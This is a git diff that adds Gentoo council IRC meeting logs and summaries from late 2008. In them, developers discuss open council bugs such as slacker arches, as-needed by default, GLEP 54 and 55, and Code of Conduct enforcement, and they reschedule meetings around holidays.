+20:36 <    Cardoe@> I think we need to establish some reasonable rules.
+20:36 <    Cardoe@> i.e. for an arch not to be considered "understaffed" they need a dedicated security liaison
+20:37 <dertobi123@> having a security liaison doesn't prevent an arch from not being understaffed
+20:37 <    Cardoe@> no
+20:37 <dertobi123@> -not
+20:37 <    Cardoe@> But I'm just saying that we need a set of rules
+20:38 < dberkholz@> what purpose does defining an arch as understaffed serve?
+20:38 <dertobi123@> first of all we'd need some input from those so-called slacker arches
+20:38 <    Cardoe@> if an arch can not reasonable handle security bugs in 120 days... what's the point of having that arch be stable?
+20:38 < darksiide > how about not 200 stablereqs open? ;)
+20:38 <    Cardoe@> dberkholz: once we define an arch as understaffed, we drop the stabilization for that arch
+20:38 < dberkholz@> i think people are interested in how to handle individual packages, so let's approach it from that perspective
+20:38 <   Halcy0n@> I think it would be best to put together an actual proposal before we discuss this any further.
+20:38 <dertobi123@> darksiide: using this as a criteria we'd be starting to drop ppc stable keywords soonish *cough*
+20:38 <    Cardoe@> Halcy0n: who's volunteering?
+20:39 < dberkholz@> he is, read your scrollback
+20:39 <    Cardoe@> ok
+20:39 <    Cardoe@> so let's update the bug with Mark writing a proposal
+20:39 < dberkholz@> done
+20:39 <    Cardoe@> Are we going to set a suspense for it?
+20:40 < darksiide > ty for addressing it guys. maintainers need something here (ie. i don't give a rip about s390, sh, etc especially when they never get done)
+20:40 < dberkholz@> is a "suspense" supposed to mean a due date?
+20:40 <    Cardoe@> yes and no
+20:40 <    Cardoe@> a date when we revisit the issue if no feedback is received
+20:41 < dberkholz@> i like your idea about running through open bugs at meetings so much that i think any time we don't have suggested topics, we should do this
+20:41 <dertobi123@> yep
+20:41 <    Cardoe@> thanks.
+20:42 < dberkholz@> would've been nice to do it at the last meeting too, since it looks like we won't get through all of them today
+20:42 <dertobi123@> what about setting the second november meeting as a due date?
+20:42 <   Halcy0n@> How many more do we have?  I have a meeting at 2100UTC that I have to attend.
+20:42 < dberkholz@> 6
+20:42 <    Cardoe@> Halcy0n: we can cut it short and discuss some more next meeting
+20:42 < dberkholz@> i think we could dupe bug #234708 on the slacker bug though
+20:43 < Willikins > https://bugs.gentoo.org/234708 "Can the council help fewer bugs get ignored by arm/sh/s390 teams?"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+20:43 <   Halcy0n@> I just have to walk 40 feet to the conference room, so I can go right until 2100.
+20:43 <   Halcy0n@> dberkholz: yea, I agree.
+20:43 <dertobi123@> dberkholz: agreed
+20:43 <    Cardoe@> I figured if we can just keep the idea of these opened bugs somewhere in our minds, we drive the community to resolve them quicker.
+20:43 <    Cardoe@> I agree with dup'ing.
+20:43 <   lu_zero@> fine
+20:43 < dberkholz@> k, done
+20:44 < dberkholz@> Halcy0n: how about you tell us on the bug when we should expect something? 
+20:44 < dberkholz@> might be more meaningful if we can get dates from the people doing the work than arbitrarily setting them
+20:44 <    Cardoe@> that'd be even better
+20:45 < dberkholz@> so, next is bug #234710
+20:45 < Willikins > https://bugs.gentoo.org/234710 "as-needed by default"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+20:46 <   Halcy0n@> dberkholz: done.
+20:46 < dberkholz@> ColdWind: you seem to know what's required here. do you want to put it together?
+20:46 < dberkholz@> perhaps bonsaikitten would help with the tree testing since he's already compiling stuff all the time
+20:47 < darksiide > (or diego)
+20:47 <    Cardoe@> I believe he's using as-needed in his compiling tests. So his feedback would be helpful.
+20:47 <    Cardoe@> bonsaikitten's that is
+20:47 < dberkholz@> eh, ColdWind has been idle for almost a day.
+20:47 <    Cardoe@> I assume Diego uses it as well
+20:47 < dberkholz@> i use it too, but i don't build the entire tree
+20:47 <Betelgeuse@> yeah same here
+20:48 < darksiide > someone said something about gcc-spec files? put it in ~arch gcc and call for testers
+20:48 <Betelgeuse@> but it hasn't caused any problems in ages
+20:48 < darksiide > (same with my ldflags - no isses)
+20:48 <Betelgeuse@> But to turn it on by default I would rather have some comprehensive runs.
+20:48 < dberkholz@> ok, so how do we proceed with this bug?
+20:49 <Betelgeuse@> It's not like the benefit to normals users it earth shaking.
+20:49 <    Cardoe@> Betelgeuse: it will reduce the amount of rebuilt packages
+20:49 < dberkholz@> we can CC bonsai and ask what he's doing. is anyone here willing to take the lead on getting this done? you don't necessarily have to do the work yourself, just get other people to do it
+20:49 <    Cardoe@> Betelgeuse: i.e. next time I bump cairo, the entire X stack won't have to be rebuilt
+20:49 <Betelgeuse@> Cardoe: I don't consider that earth shaking as you can just leave those running int he background.
+20:50 <Betelgeuse@> Stupid typos.
+20:50 <    Cardoe@> dberkholz: You can assign it to me.
+20:51 <    Cardoe@> I'll get something together within the next 30 days.
+20:51 < darksiide > i condsider that earth shattering on my 1ghz laptop
+20:51 <    Cardoe@> I had an "emergency" agenda item.
+20:52 <Betelgeuse@> darksiide: Bigger rebuilds really don't come that often.
+20:52 <Betelgeuse@> Or then I have missed them.
+20:52 <    Cardoe@> 2nd meeting in November is Thanksgiving in the US and a decent portion of the council is US-ian.
+20:52 <   Halcy0n@> Yea...that isn't going to work :)
+20:53 <    Cardoe@> and the 2nd meeting in December is Christmas
+20:53 <dertobi123@> so we move that meeting to the 3rd thursday in november or just skip it?
+20:54 < dberkholz@> let's do 3rd if we have any open bugs, otherwise skip
+20:54 <dertobi123@> sounds good
+20:54 <   lu_zero@> ok
+20:54 <dertobi123@> for the 2nd december meeting it should be safe to just skip
+20:54 <dertobi123@> probably everyone of us has other things to do in that time ;)
+20:54 <Betelgeuse@> Not really.
+20:55 <NeddySeago > playing with new toys :)
+20:55 < dberkholz@> dertobi123: all the more reason to get those bugs closed. =)
+20:55 <Betelgeuse@> Nothing happens here on the 25th around midnight.
+20:55 <   lu_zero@> Betelgeuse =)
+20:55 <dertobi123@> oh, neddy is going to send us new toys? =)
+20:55 <Betelgeuse@> Santa Claus comes on Christmas Eve.
+20:56 < dberkholz@> does a 4th person agree with moving the 2nd meeting in nov & dec one week earlier?
+20:56 <   Halcy0n@> Yes
+20:56 <    Cardoe@> I agree with it.
+20:56 <NeddySeago > dertobi123, Oh ... Father Christmas, if you are good and get your bugs closed
+20:56 < dberkholz@> ok, good
+20:56 <    Cardoe@> I say we address the remaining bugs next meeting.
+20:56 < dberkholz@> we're just about out of time, so i just wanted to say i'll take bug #237381 because i've already started working on it
+20:56 <dertobi123@> NeddySeagoon: we'll see :)
+20:56 < Willikins > https://bugs.gentoo.org/237381 "Document appeals process"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+20:57 <Betelgeuse@> dberkholz: go ahead
+20:57 <    Cardoe@> great
+20:57 <   Halcy0n@> Cool, thanks
+20:57 <dertobi123@> fine :)
+20:57 < dberkholz@> that leaves 3 unhandled bugs
+20:57 < dberkholz@> good enough for today
+20:58 <   Halcy0n@> Sounds good.  Now I have to run to another meeting.
+20:59 < dberkholz@> ok, that's it for today
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081113-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20081113-summary.txt
new file mode 100644
index 00000000..c3b99395
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081113-summary.txt
@@ -0,0 +1,52 @@
+Roll call:
+==========
+dberkholz: absent, 40 minutes lates
+Halcy0n: absent
+Cardoe: here
+dertobi123: here
+lu_zero: here
+Betelgeuse: here
+jokey: absent, slacker
+
+Topics:
+=======
+
+    No topics for the meeting were proposed.
+
+Open Bugs:
+==========
+
+    Slacker Arches(bug 234706):
+        
+        Mark sent a proposal to gentoo-dev about this. No other discussion or
+	decision.
+
+    GLEP 55(.ebuild-$eapi extension, bug 234713):
+        
+        Conclusion:
+            This bug has been RESO LATER'ed pending concrete need and
+            consensus(GLEP 54 being the main one).
+
+    Code of Conduct Update(Proctors no longer exist, bug 185572):
+        
+        Conclusion:
+            Jorge(jmbsvicetto) will talk to other members of devrel about this
+            bug.
+
+    Extent of Code of Conduct enforcement(Banning people entirely from Gentoo,
+    bug 234716):
+
+        Conclusion:
+            Userrel is responsible for establishing these policies. Since each
+            developer is also a user at some point, these policies will apply
+            to developers as well as users.
+
+    GLEP 54(-scm package suffix. bug 234711):
+    
+        Conclusion:
+            No decision. David Leverton commented that portage's current
+            method for identifying 'live' ebuilds was hackish, as it depends
+            on the list of inherited eclasses, which could change. Also, it
+	    was pointed out that some ebuilds use scm eclasses to check out
+	    specific revisions(mythtv). PROPERTIES=live was considered
+            as another option.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081113.txt b/xml/htdocs/proj/en/council/meeting-logs/20081113.txt
new file mode 100644
index 00000000..3d02f608
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081113.txt
@@ -0,0 +1,240 @@
+<13.11.2008 20:01> <@Betelgeuse> Cardoe, dberkholz, Halcyon, jokey, lu_zero 
+<13.11.2008 20:01> <@lu_zero> hi Betelgeuse
+<13.11.2008 20:03> <@Betelgeuse> So the agenda is to look at open issues again?
+<13.11.2008 20:04> <@dertobi123> with a turnout of 3 out 7 ...
+<13.11.2008 20:04> <@Cardoe> hello
+<13.11.2008 20:04> <@dertobi123> 4 out 7 then :P
+<13.11.2008 20:04> <@Cardoe> had to use the restroom, sorry
+<13.11.2008 20:04> <@lu_zero> ^^
+<13.11.2008 20:04> <@Betelgeuse> dertobi123: well dberkholz set the topic a little while ago
+<13.11.2008 20:04> <@lu_zero> who's missing?
+<13.11.2008 20:05>  * dertobi123 tried to call jokey on his cellphone - no luck 
+<13.11.2008 20:05> <@Cardoe> forgot the meeting started an hour earlier with the time change here in the states
+<13.11.2008 20:05> <@Betelgeuse> Halcyon, jokey, dberkholz 
+<13.11.2008 20:05> <@Cardoe> I'm willing to bet they did as well
+<13.11.2008 20:05> <@dertobi123> Betelgeuse: yep, sure
+<13.11.2008 20:09> <@dertobi123> so, how do we proceed?
+<13.11.2008 20:09> <@Betelgeuse> well at least there's more than half of us here 
+<13.11.2008 20:10> <@Cardoe> I have nothing to report on as-needed
+<13.11.2008 20:10> <@lu_zero> I'd wait 20min
+<13.11.2008 20:10> <@Cardoe> None of the users wanted to contribute
+<13.11.2008 20:11> < darksiide> define 'contribute'
+<13.11.2008 20:12> <@dertobi123> lu_zero: *shrugs* ... i think that won't help
+<13.11.2008 20:12> <@Betelgeuse> I wasn't in charge of any of the  issues.
+<13.11.2008 20:12> <@Betelgeuse> lu_zero, dertobi123 Did you have any?
+<13.11.2008 20:12> < jmbsvicetto> Cardoe: flameeyes is/was building his system with forced --as-needed on the specs - so he might have some info
+<13.11.2008 20:12> <@lu_zero> no
+<13.11.2008 20:12> <@dertobi123> Betelgeuse: no ...
+<13.11.2008 20:12> <@lu_zero> I'm prodding diego right now
+<13.11.2008 20:12> <@Betelgeuse> Then not much we can do without dberkholz, Halcyon around
+<13.11.2008 20:13> <@Cardoe> Well we can assign some new issues
+<13.11.2008 20:13> <@lu_zero> I didn't further my alternate gleps
+<13.11.2008 20:13> <@dertobi123> Cardoe: yep
+<13.11.2008 20:13> <@Cardoe> lu_zero: You want to take over bug #234711?
+<13.11.2008 20:13> <@lu_zero> since zmedico autoset for live ebuild sound to me a good solution for at least one problem
+<13.11.2008 20:13> < Willikins> Cardoe: https://bugs.gentoo.org/234711 "GLEP 54: scm package version suffix"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+<13.11.2008 20:13> <@dertobi123> shall we gave a quick view at the open bugs and it's current state?
+<13.11.2008 20:13> <@lu_zero> ok
+<13.11.2008 20:14> <@lu_zero> Cardoe I could be considered overbiased on it
+<13.11.2008 20:14> <@Cardoe> lu_zero: alright well let's work on getting that finalized and get the work for that ticket to be wrapped up
+<13.11.2008 20:14> <@Cardoe> alright
+<13.11.2008 20:14> <@Cardoe> Do you still have your alternative glep handy?
+<13.11.2008 20:14> <@lu_zero> Cardoe it's in my devspace
+<13.11.2008 20:14> <@Cardoe> Betelgeuse? dertobi123? You guys wanna take GLEP 54?
+<13.11.2008 20:15> <@dertobi123> it fits best for lu_zero i think
+<13.11.2008 20:15> <@lu_zero> http://dev.gentoo.org/~lu_zero/glep/
+<13.11.2008 20:15> <@Betelgeuse> Cardoe: I would rather not take any stuff if possible.
+<13.11.2008 20:15> <@Betelgeuse> Cardoe: Can take stuff when we have another recruiters.
+<13.11.2008 20:15> <@Cardoe> Betelgeuse: well it's more like being the council's point man
+<13.11.2008 20:15> <@Cardoe> ok
+<13.11.2008 20:15> <@Cardoe> dertobi123: ?
+<13.11.2008 20:15> <@lu_zero> I'd open a bug about recruiters for council and assign it to Betelgeuse
+<13.11.2008 20:15> <@lu_zero> so he could use it to track the situation
+<13.11.2008 20:16> <@dertobi123> Cardoe: ?
+<13.11.2008 20:16> <@lu_zero> and we'll have to look at it every 2 weeks ^^
+<13.11.2008 20:16> <@Betelgeuse> lu_zero: Well can the council do anything concrete for the situation?
+<13.11.2008 20:16> <@Betelgeuse> I have a couple people interested so let's just hope they deliver.
+<13.11.2008 20:16> <@lu_zero> Betelgeuse sounds great
+<13.11.2008 20:19> <@dertobi123> so we have #234711 for luca, right?
+<13.11.2008 20:19> <@lu_zero> if you all agree about that
+<13.11.2008 20:19> <@dertobi123> guess we do ;)
+<13.11.2008 20:19> <@lu_zero> I'll try to update my alternate proposal and document the portage status
+<13.11.2008 20:19> <@Cardoe> lu_zero: sounds good
+<13.11.2008 20:19> <@Cardoe> lu_zero: re-assign it to yourself please
+<13.11.2008 20:20> <@Cardoe> and CC the council
+<13.11.2008 20:20> <@lu_zero> doing
+<13.11.2008 20:20> <@dertobi123> ok
+<13.11.2008 20:20> <@dertobi123> bug #234706 is the next one then
+<13.11.2008 20:20> < Willikins> dertobi123: https://bugs.gentoo.org/234706 "Slacker arches"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:halcy0n@g.o
+<13.11.2008 20:21> <@dertobi123> current state: proposal sent to -dev, discussion ongoing
+<13.11.2008 20:21> <@Cardoe> Halcyon has posted his proposal to the ML and it's being discussed
+<13.11.2008 20:21> <@dertobi123> yep ;)
+<13.11.2008 20:21> <@Cardoe> !herd devrel
+<13.11.2008 20:21> <@Cardoe> !expn devrel
+<13.11.2008 20:21> < Willikins> Cardoe: devrel = (private)
+<13.11.2008 20:22> <@lu_zero> Mid-air collision detected!
+<13.11.2008 20:22> <@lu_zero> bad Cardoe =P
+<13.11.2008 20:22> <@Cardoe> bug #185572 is waiting on devrel
+<13.11.2008 20:22> < Willikins> Cardoe: https://bugs.gentoo.org/185572 "As the proctors no longer exist the code of conduct needs an upate"; Doc Other, Project-specific documentation; NEW; neddyseagoon@g.o:devrel@g.o
+<13.11.2008 20:22> <@Cardoe> dberkholz isn't around to discuss bug #237381
+<13.11.2008 20:22> < Willikins> Cardoe: https://bugs.gentoo.org/237381 "Document appeals process"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:dberkholz@g.o
+<13.11.2008 20:23> < jmbsvicetto> Cardoe: I'll talk with other members of devrel about 185572
+<13.11.2008 20:23> <@Cardoe> jmbsvicetto: thank you
+<13.11.2008 20:25> <@dertobi123> so we have bug #234713 and bug #234716 left
+<13.11.2008 20:25> < Willikins> dertobi123: https://bugs.gentoo.org/234713 "GLEP 55: Use EAPI-suffixed ebuilds (.ebuild-EAPI)"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+<13.11.2008 20:25> <@dertobi123> bug #234716
+<13.11.2008 20:25> < Willikins> dertobi123: https://bugs.gentoo.org/234716 "Extent of Code of Conduct enforcement"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+<13.11.2008 20:25> <@Betelgeuse> dertobi123: for GLEP 55 I don't think there is any change 
+<13.11.2008 20:26> <@Cardoe> for 234716, I'd like to see some members of userrel step up
+<13.11.2008 20:26> <@Cardoe> !expn userrel
+<13.11.2008 20:26> < Willikins> Cardoe: userrel = (private)
+<13.11.2008 20:26> <@dertobi123> Betelgeuse: dito ... i see no need for glep 55 now
+<13.11.2008 20:27> <@dertobi123> for 234716 discussions took place months ago, noone seems to be interested in that bug/problem these days
+<13.11.2008 20:27> <@Cardoe> I've commented on every bug
+<13.11.2008 20:28> <@dertobi123> thanks Cardoe
+<13.11.2008 20:28> <@Cardoe> Does anyone have any other topics to bring up?
+<13.11.2008 20:29> <@Betelgeuse> What to do with slacker marks?
+<13.11.2008 20:29> < fmccor> dertobi123, I thought much of 234716 had been resolved one way or another.  I am a member of userrel, but I for one have zero interest in revisiting any of that.
+<13.11.2008 20:29> <@Cardoe> fmccor: what has been resolved?
+<13.11.2008 20:30> <@Cardoe> fmccor: do you guys have a firm policy or document in hand that can be linked to?
+<13.11.2008 20:30> <@Cardoe> I honestly would like to vote 234716 be put in the hands of userrel
+<13.11.2008 20:30> <@Cardoe> Because at some point or another, every Gentoo developer is a user as well
+<13.11.2008 20:30> <@Cardoe> so the same policies apply to them
+<13.11.2008 20:31> <@dertobi123> would that help to get that bug resolved?
+<13.11.2008 20:31> < fmccor> Cardoe, I don't.  I think some of it was considered infeasible, and parts of it are addressed now at retirement, but I don't recall which Council meeting discussed the second.
+<13.11.2008 20:31> <@dertobi123> instead of reassigning to userrel@ i'd say mark this one as cantfix, from a technical pov
+<13.11.2008 20:32> < jmbsvicetto> Cardoe: A few of us have already exchanged "quite" some mails about that subject
+<13.11.2008 20:32> < jmbsvicetto> Cardoe: 234716
+<13.11.2008 20:32> <@Cardoe> jmbsvicetto: Where'd you guys get?
+<13.11.2008 20:32> < jmbsvicetto> I mean all those mails between userrel, devrel, council and trustees
+<13.11.2008 20:32> < fmccor> jmbsvicetto, I assure you I am not going to revisit that episode in Gentoo. :)
+<13.11.2008 20:33> < jmbsvicetto> fmccor: I'm just saying we already "watched" that show ;)
+<13.11.2008 20:33> < fmccor> jmbsvicetto, Indeed. :)
+<13.11.2008 20:33> <@Cardoe> so from userrel and devrel's perspective it's a cantfix?
+<13.11.2008 20:33> < jmbsvicetto> I don't think it's a cantfix
+<13.11.2008 20:34> < jmbsvicetto> I think it's mostly a arenotwillingtofix
+<13.11.2008 20:34> < NeddySeagoon> jmbsvicetto, don't loose the knowledge - summarise it on the bug and resolve CANTFIX.  Then its there for next time
+<13.11.2008 20:34> <@Cardoe> That's the best solution
+<13.11.2008 20:35> <@dertobi123> :)
+<13.11.2008 20:35> < NeddySeagoon> jmbsvicetto, there will be a niext time ... :(
+<13.11.2008 20:35> < jmbsvicetto> Cardoe: There are substantial "philosophical" divergences about this subject inside all those teams (and likely all of Gentoo)
+<13.11.2008 20:35> <@Cardoe> jmbsvicetto: write that on the bug please
+<13.11.2008 20:36> <@dberkholz> crap, time change.
+<13.11.2008 20:36> <@lu_zero> ^^
+<13.11.2008 20:36> <@dertobi123> heh
+<13.11.2008 20:36> <@dberkholz> google calendar is wrong
+<13.11.2008 20:36> <@lu_zero> you are still in time to discuss your bugs ^^
+<13.11.2008 20:37> < jmbsvicetto> Cardoe: I'll add a few comments there later
+<13.11.2008 20:37> <@dberkholz> i would blame flameeyes but he resigned
+<13.11.2008 20:37> <@Cardoe> jmbsvicetto: thank you
+<13.11.2008 20:37> <@Cardoe> dberkholz: time change got me too
+<13.11.2008 20:38> <@Cardoe> I'm willing to bet the same situation for Mark as well
+<13.11.2008 20:38> <@dertobi123> for markus too
+<13.11.2008 20:38> <@Cardoe> dberkholz: if ya want, take a minute or two to go through the scrollback
+<13.11.2008 20:39> <@dertobi123> i guess
+<13.11.2008 20:39> <@Cardoe> dertobi123: is he in a place where the time changed?
+<13.11.2008 20:39> <@dertobi123> Cardoe: same timezone i'm in
+<13.11.2008 20:39> <@dertobi123> though the change was some ~14 days ago
+<13.11.2008 20:39> <@dertobi123> *shrugs*
+<13.11.2008 20:40> <@dberkholz> anyone keeping a running summary?
+<13.11.2008 20:40> <@dertobi123> Cardoe: seeing your comment on 234713 - i think that's a perfect summary for marking this one later
+<13.11.2008 20:40> <@dertobi123> dberkholz: i can send a short summary tomorrow
+<13.11.2008 20:40> <@dberkholz> i'm wondering for the purposes of catching up
+<13.11.2008 20:41> <@dberkholz> if nobody's started one at all, i'll just write it
+<13.11.2008 20:41> <@dertobi123> well, there's not that much to note, sadly
+<13.11.2008 20:41> <@Cardoe> dberkholz: I was going to write one at the end
+<13.11.2008 20:41> <@Cardoe> dertobi123: O
+<13.11.2008 20:42> <@Cardoe> dertobi123: I'd have to agree
+<13.11.2008 20:42> <@Cardoe> I'd vote for marking #234713 as LATER
+<13.11.2008 20:42> <@Cardoe> Anyone else?
+<13.11.2008 20:42> <@dertobi123> <- too
+<13.11.2008 20:43> <@lu_zero> fine from my side
+<13.11.2008 20:44> <@dberkholz> that's fine with me
+<13.11.2008 20:48> <@Betelgeuse> fine
+<13.11.2008 20:48> <@Betelgeuse> but then again I don't really like LATER in general
+<13.11.2008 20:48> <@Betelgeuse> I don't see anything wrong with open bugs
+<13.11.2008 20:49> <@Betelgeuse> in this case LATER works as I doubt it gets forgotten
+<13.11.2008 20:49> <@dberkholz> i would like open bugs assigned to council@ to be only things requiring action from us
+<13.11.2008 20:49> <@dertobi123> open bugs would be regularly checked, LATER bugs would need to be reopened if action is required
+<13.11.2008 20:50> <@dertobi123> dberkholz: exactly
+<13.11.2008 20:50> <@dberkholz> on that note, anyone mind if i reassign bug 234716 to userrel for the meanwhile?
+<13.11.2008 20:50> < Willikins> https://bugs.gentoo.org/234716 "Extent of Code of Conduct enforcement"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:council@g.o
+<13.11.2008 20:51> <@dberkholz> and perhaps we should go LATER or WONTFIX on bug #234711 too
+<13.11.2008 20:51> < Willikins> https://bugs.gentoo.org/234711 "GLEP 54: scm package version suffix"; Gentoo Linux, Unspecified; NEW; dberkholz@g.o:lu_zero@g.o
+<13.11.2008 20:52> <@Cardoe> for 234716 gonna say
+<13.11.2008 20:53> <@Cardoe> "The council charges the userrel team with establishing these policies and guidelines and enforcing them. Since, each developer is also a user, the userrel policies affect them as well."
+<13.11.2008 20:53> <@Cardoe> good?
+<13.11.2008 20:53> <@lu_zero> sounds fine
+<13.11.2008 20:54> <@lu_zero> got Diego on jabber
+<13.11.2008 20:54> <@Cardoe> lu_zero: same here
+<13.11.2008 20:54> <@Betelgeuse> yes
+<13.11.2008 20:55> <@dberkholz> i'm ok with that
+<13.11.2008 21:00> <@Cardoe> alright. posted
+<13.11.2008 21:00> <@dberkholz> since a few of us were running late from daylight savings, anyone want to keep going till 21:30?
+<13.11.2008 21:01> <@Cardoe> sure
+<13.11.2008 21:01> <@dberkholz> or sooner, if we get through the couple of other bugs
+<13.11.2008 21:01> <@Cardoe> I figured some users and developers might have made the same mistake so let's keep the floor opened as well
+<13.11.2008 21:01> <@lu_zero> ok
+<13.11.2008 21:01> <@dertobi123> guess we were through the bugs already, but well ...
+<13.11.2008 21:02> <@dertobi123> except 237381
+<13.11.2008 21:02> <@dberkholz> i'm still working on documenting the appeals thing, most of my gentoo time has gone into planning for a distributed vcs
+<13.11.2008 21:02> <@dberkholz> if anyone wants to help draft something up, you're welcome to work with me
+<13.11.2008 21:04> <@dberkholz> speak up now. =)
+<13.11.2008 21:06> <@dberkholz> ok, then, i'll keep it going.
+<13.11.2008 21:06> <@lu_zero> ^^;
+<13.11.2008 21:07> <@dberkholz> my main other question was should we just close the GLEP 54 bug somehow, because of the live sets?
+<13.11.2008 21:07> <@lu_zero> dberkholz I tend to agree about this
+<13.11.2008 21:07> <@dberkholz> or are we waiting for someone to definitely say it's obsolete?
+<13.11.2008 21:07> <@lu_zero> I'd wait other 2 weeks and then close the but
+<13.11.2008 21:07> <@Cardoe> I was kind of waiting for Zac to say it's obsolete
+<13.11.2008 21:08> < dleverton> Why would it be obsolete because of sets?
+<13.11.2008 21:09> <@dberkholz> the concrete reasoning presented for glep 54 is that you could use it to reinstall live ebuilds periodically. if a live set does this already, what additional purpose does it serve?
+<13.11.2008 21:10> < dleverton> It helps to identify which packages should be in the set in the first place, for one thing.
+<13.11.2008 21:10> < jmbsvicetto> dberkholz: Portage still needs a way to only reinstall packages if there was an update in the source tree
+<13.11.2008 21:10> <@lu_zero> dleverton portage does that already
+<13.11.2008 21:10> < dleverton> The other reason is to provide sane ordering relative to non-live ebuilds.
+<13.11.2008 21:11> < dleverton> lu_zero: IIRC it does that by recognising particular eclasses, which is rather hackish.
+<13.11.2008 21:11> <@lu_zero> works perfectly
+<13.11.2008 21:11> < dleverton> There's talk of introducing PROPERTIES=live support, which is better, but still not as good as -scm IMHO.
+<13.11.2008 21:11> < dleverton> It doesn't work when someone introduces a new scm eclass, unless either portage is updated or the user modifies the st definition himself.
+<13.11.2008 21:12> < jmbsvicetto> dleverton: There's a proposal to add a live PROPERTIES
+<13.11.2008 21:16> <@dberkholz> and it won't work for ebuilds using a new scm unless they're named as such ... either way involves a change somewhere or other..
+<13.11.2008 21:16> <@Cardoe> dberkholz: -scm tag or PROPERTIES=live?
+<13.11.2008 21:17> <@Cardoe> Cause I would think -scm would be more fraile
+<13.11.2008 21:17> <@lu_zero> and having the eclasses for live ebuild reside on a directory apart would solve that
+<13.11.2008 21:17> < dleverton> If we go with -scm, then that'll be the rule for live ebuilds, end of story.
+<13.11.2008 21:17> <@lu_zero> dleverton mine is simpler, just a specific path.
+<13.11.2008 21:17> < dleverton> If we keep with recognising particular eclasses, then things have to be updated whenever someone wants to add a new one.
+<13.11.2008 21:18> <@lu_zero> no
+<13.11.2008 21:18> < dleverton> No what?
+<13.11.2008 21:18> <@lu_zero> if you move all the live eclasses in the same paths
+<13.11.2008 21:18> <@lu_zero> you don't have to do anything else
+<13.11.2008 21:20> < dleverton> Well, you also have to consider ebuilds that check out a particular revision or tag, and therefore shouldn't be considered live even though they use a scm eclass.
+<13.11.2008 21:20> < dleverton> But I think at this point, the potential future solution is between -scm and PROPERTIES=live
+<13.11.2008 21:21> <@lu_zero> not really
+<13.11.2008 21:21> <@lu_zero> if they checkout something specific they should use a static snapshot and not hammering the upstream server.
+<13.11.2008 21:22> <@dberkholz> regarding upstream code updates, i just stumbled across bug #182028
+<13.11.2008 21:22> < Willikins> dberkholz: https://bugs.gentoo.org/182028 "[Future EAPI] About managing CVS/SUBVERSION version of software"; Gentoo Hosted Projects, PMS/EAPI; NEW; StormByte@gmail.com:pms-bugs@g.o
+<13.11.2008 21:22> < dleverton> lu_zero: "should", perhaps, but there are ebuilds that use the eclasses for that.
+<13.11.2008 21:22> < dleverton> lu_zero: and for things like local overlays, it's far more convenient than making a snapshot manually.
+<13.11.2008 21:22> <@Cardoe> lu_zero: MythTV is a perfect example of a package that downloads straight from SVN
+<13.11.2008 21:23> <@Cardoe> upstream prefers people use straight SVN
+<13.11.2008 21:23> <@lu_zero> Cardoe that's hammering upstream resources.
+<13.11.2008 21:23> <@lu_zero> and isn't really that kind
+<13.11.2008 21:23> <@dberkholz> not if upstream specifically requests that ...
+<13.11.2008 21:23> <@Cardoe> lu_zero: upstream has a fit when I made tarballs
+<13.11.2008 21:23> <@Cardoe> they want users to use svn
+<13.11.2008 21:23> <@lu_zero> live svn
+<13.11.2008 21:23> <@Cardoe> yes
+<13.11.2008 21:23> <@lu_zero> then it's unrelated to the discussion with dleverton
+<13.11.2008 21:24> <@Cardoe> their own shipping tarballs contain the necessary .svn stuff to just svn up
+<13.11.2008 21:24> <@Cardoe> lu_zero: well MythTV are specific revisions
+<13.11.2008 21:26> <@lu_zero> then it's pointless having them checked out from svn
+<13.11.2008 21:26> <@dberkholz> ok, we're off on a tangent here
+<13.11.2008 21:26> <@lu_zero> apparently
+<13.11.2008 21:27> <@dberkholz> obviously there is still some debate about the best way to move forward, so let's leave the bug open.
+<13.11.2008 21:27> <@dberkholz> i'm putting a quick summary in there
+<13.11.2008 21:29> <@dberkholz> that seems like enough for today
+<13.11.2008 21:29> <@dberkholz> want to end this?
+<13.11.2008 21:30> <@Cardoe> lu_zero: it's about 100mb of data
+<13.11.2008 21:30> <@Cardoe> dberkholz: sounds good
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081211-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20081211-summary.txt
new file mode 100644
index 00000000..2f3b0686
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081211-summary.txt
@@ -0,0 +1,43 @@
+Roll Call:
+==========
+Betelgeuse: here
+Cardoe: absent, 25 minutes late
+dertobi123: here
+dev-zero: here
+dberkholz: here
+Halcy0n: here
+lu_zero: here
+
+Meeting Topics:
+===============
+
+Technical Issues:
+
+    - Label profiles with EAPI for compatibility checks:
+        Should there be labels in the profiles telling package managers what
+        EAPI the profile uses. This proposal raised some concerns that
+        developers would modify current profiles and bump the EAPI which would
+        harm users' systems.
+
+	    Conclusion:
+	        Profile EAPI files are approved for use in gentoo-x86 profiles.
+            The file for use in profiles is 'eapi'. All current profiles
+            are EAPI="0" and only new profiles can be marked with the profile
+            EAPI markers. Any developer profiles can be marked with a new
+            EAPI.
+
+    - Retroactive EAPI change: Call ebuild functions from trusted working
+      directory:
+        Donnie(dberkholz) commented that it may not be needed to add something
+        to EAPI=0 that is in all the Package Managers.
+
+        Conclusion:
+            Approved. This change applies to all current EAPIs(0,1,2).
+
+    - Metadata variable for DEFINED_PHASES
+    	Should a metadata variable be added containing the list of all phases
+	defined in the ebuild or eclasses?
+
+        Conclusion:
+            Approved. Infra will do a full regen of the metadata cache once
+            portage has support for it.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20081211.txt b/xml/htdocs/proj/en/council/meeting-logs/20081211.txt
new file mode 100644
index 00000000..a47cc6a1
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20081211.txt
@@ -0,0 +1,169 @@
+<11.12.2008 22:04> <@dberkholz> who's here?
